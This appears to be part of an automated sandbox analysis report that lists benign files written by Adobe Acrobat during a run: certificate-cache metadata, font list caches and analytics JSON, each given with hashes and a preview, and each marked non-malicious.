Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklAuI8llltfllXlE/HT8kzelXNNX8RolJuRdxLlGB9lQRYwpDdt:kKZU/eT86e7NMa8RdWBwRd
MD5:	A590FECE800FB3D28CEDBFEA125A0AA4
SHA1:	892A2129EC62BC1D7FB2E36FB894ACC2DFAE4EA0
SHA-256:	6669CD1FA45EDD0AA832A9F7A4D1313712141500A4B9FAB903AA71CC731F019F
SHA-512:	6ED3016689BBEE262955B6B6EA7E7D1608937EA5437F9AAA48576B3F7453241668A08E3AB39AE8662AAE0C5F21C92FF2F8295B92903C7C2A3D2E8EF9A2E801BC
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....V...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKtKkPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ckPiDImsLNkPlE99SNxAhUe/3
MD5:	5FD6886DCE115C076B459B13709CABE3
SHA1:	B52C7E80DF7BC7D8E752F618892458B4096F9E77
SHA-256:	755DB147F7330F89C15E76EE1E13AFAA0DD4EF6A3AD6B045878AC9083B237A16
SHA-512:	7C53159EDB763442DB0434AE5CC3C4F3A7D6EC6CB33EB258632954525F1FD36BF72995180966DE2B3BB7697121F52B30BDC303ABCF129F0757CA5F73656C2AE3
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5588

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5588

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.344012486051696
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJM3g98kUwPeUkwRe9:YvXKXoRkvR/ZwHArGMbLUkee9
MD5:	289F7CDA8E7405041EC037856B346F49
SHA1:	2B40251CBAD267FCE9B592F12BC9ED7BF4954079
SHA-256:	3BCDFC9B75DC5956C1899935D1CDFD4EF6EF5BD67433BA5F2095FDE024FC0F46
SHA-512:	36C95106D08E11565BEF94B96F5554FCA537DAFBF8C6C48259670F75B6E08A936FCB399259AF25283E464DDE93990927B8673856CD79E734B70584F972AF64D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.278621811115713
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJfBoTfXpnrPeUkwRe9:YvXKXoRkvR/ZwHArGWTfXcUkee9
MD5:	785AFB78C2E786CB70EDF84088B17BF0
SHA1:	AD49B555A7E38E9D3002AE57AE618AFC1FD273AE
SHA-256:	7F6D63540C279661C28FEE0E2D2FAB405F22B6B4FAD32DD8AFBF89A150521716
SHA-512:	9D2D32E4388E8F266CB786AC5AB3D51C43AA4577A2567C0F8B61125D857001418CD7E887D6150ACA6EC310C0F1BCCB86F4B1646AB9F6416DABBF05DF4746C9E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.25688130647352
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJfBD2G6UpnrPeUkwRe9:YvXKXoRkvR/ZwHArGR22cUkee9
MD5:	4506C58831237C5677F7B6A762396F17
SHA1:	0B11D2B8A0248103D97E0EFB348F30DC390809B8
SHA-256:	63BB9F7C3EDCD4B3F3E8AB8516D60F9E930668D5A067B8C38D4D2A7C4D4E9519
SHA-512:	F4D2D6FABB41C794AA7E74297803495B300468C25031A7ACA2C3C201264774A43BB148FEE07BCF4C4EB2641609CE5574BDB81E64B939E33A6D7092E59747855D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.320282053640307
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJfPmwrPeUkwRe9:YvXKXoRkvR/ZwHArGH56Ukee9
MD5:	B830932E83834DD76BF7E7B0BA1E083B
SHA1:	6F0C503D3796DC440780FC77664A6C488AA67DC1
SHA-256:	986912122B0DAD134F72D20FCAC9733B71C8DDA36CC579A6B1AF392D955D01E6
SHA-512:	D5A2A66E826A5AF4AC541CA5863DE9DDD47D0A9C15EE83E93F51AF8BBB4885413BAEDA813E233694F39471275291E926EF3DC10CA0D2A78C2E7C38452687649C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68800766746616
Encrypted:	false
SSDEEP:	24:Yv6XoaJh0pLgE9cQx8LennAvzBvkn0RCmK8czOCCS2n:YvjaJh0hgy6SAFv5Ah8cv/2
MD5:	1AACC3936E5D8EBED67AF856D088EA6F
SHA1:	F446B797BE9FD51A4A777C7247526AD5FC031AED
SHA-256:	C04D032AC03072893CC66C2E72D04CFF1546EB325744D2062FB1813F75E152F5
SHA-512:	D0881D2C07C9F2D1A61A5772613F1BFB2F41AD57ACF04D74C4720083DD3A3C8EEA85777FFBF64CFC5717128598193ACCD01D576E57ADE4349D8D21111D867503
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267721522644231
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJf8dPeUkwRe9:YvXKXoRkvR/ZwHArGU8Ukee9
MD5:	3D9372FE0EF8BEF89624369C966C52E7
SHA1:	AF5AAFBA3683AA1F9474E2D00CFAA8F3F68E5C3B
SHA-256:	3F1ED66B7D2372ADD2E145B3882D9ED3E6F66AE7A585AE03C3CA366E623B2827
SHA-512:	EE1FCED4AE6A42FC989886023130AE4DA5CD8E7E27DD5F890BC893E7801069F9F4279FFBAA88DC84F31CD30C3999C2BF4CBE3D064D0C485CC9A16866A574EC3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.267297544601757
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJfQ1rPeUkwRe9:YvXKXoRkvR/ZwHArGY16Ukee9
MD5:	989A93324D1AE5023D28F4E608558805
SHA1:	162BE93A3AA5CF34110874C26120237460C3770E
SHA-256:	A313468F9A2804A1A8E12AA864A4936EC880C5186D72254A2B49662C355E420E
SHA-512:	F724503F94AA1EA7FB2AF143435C0C0F749DABD33FDBFC2D905251FC089C9E5BD19D6B8C3576A54869C3707246D2FE5C6826C4623E7C01FF76354481A17864DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282189099032947
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJfFldPeUkwRe9:YvXKXoRkvR/ZwHArGz8Ukee9
MD5:	7CEA72973A09173ABE31266250447972
SHA1:	E28687C584BDD2579A21FE3682A080829F2AF5C3
SHA-256:	CFB3C9A25AA0DF15BF2DEE9EF84CDFAA757F9769DCE91E6A5E71BABA2DA47195
SHA-512:	48AECFEFE6D40873A5E72BB3F226279369D76623379C49B8D6BDF5AD3A84D1798F72862752FFA95BDF70E0F1407E5D6AEC6CEDF94FC02E4A780A0A6F319ABF0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.296156181925651
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJfzdPeUkwRe9:YvXKXoRkvR/ZwHArGb8Ukee9
MD5:	89F7F3D7D370FD001478D5A70DF2C8E3
SHA1:	DD1036107654B2D1292589AC10082C4EA4F8BC32
SHA-256:	7DCD15AF1FA5659961C23E57EE6C316828E801D0BCDDC3DAA9ABF6019F195F94
SHA-512:	9037EB117B8388E3A334546E78B0C9ED81047092628CA0292F367170955B733043188D7AB06CFA8BD77D5B0ECE9C4B494A831C56A6A71E3029E38069558B09EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276858446442093
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJfYdPeUkwRe9:YvXKXoRkvR/ZwHArGg8Ukee9
MD5:	FBD5D14191C970C4D63ECD5AAECD2DDC
SHA1:	9CEBD7CD5225424D472D8059AAAE7700BA57F684
SHA-256:	0460D9D346A1193832D6487E433D5E850AF6705FDFAAB159F9A07EACBA5A7175
SHA-512:	AE0F610551C61302BF13FD92761302BAF606CBB2D1BED21289EA7C452CF924983BC3EEB8B83E21815CCC10085AC8A2213FF97E0634061229AB6C1DA53BE6E0D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.262501397547397
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJf+dPeUkwRe9:YvXKXoRkvR/ZwHArG28Ukee9
MD5:	DAADBE5BBD0180234A16C2C6FF98A5C0
SHA1:	095FB8D587510EFC7A21AA2CBFD3511B35108CDB
SHA-256:	A52B645CCA37E63EAB8EA7F627F7FF0C625C90DECA80F5DDBEA0922D0C92B153
SHA-512:	BA182B3B9C5988C3ED92E18ACA844104F8E698CC8F93D744A7A219AD03BA1717564D30E38A354AED53B8D2B859042D72423F9DCE8FC64A77432BE2FA14BD33DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.260564592594018
Encrypted:	false
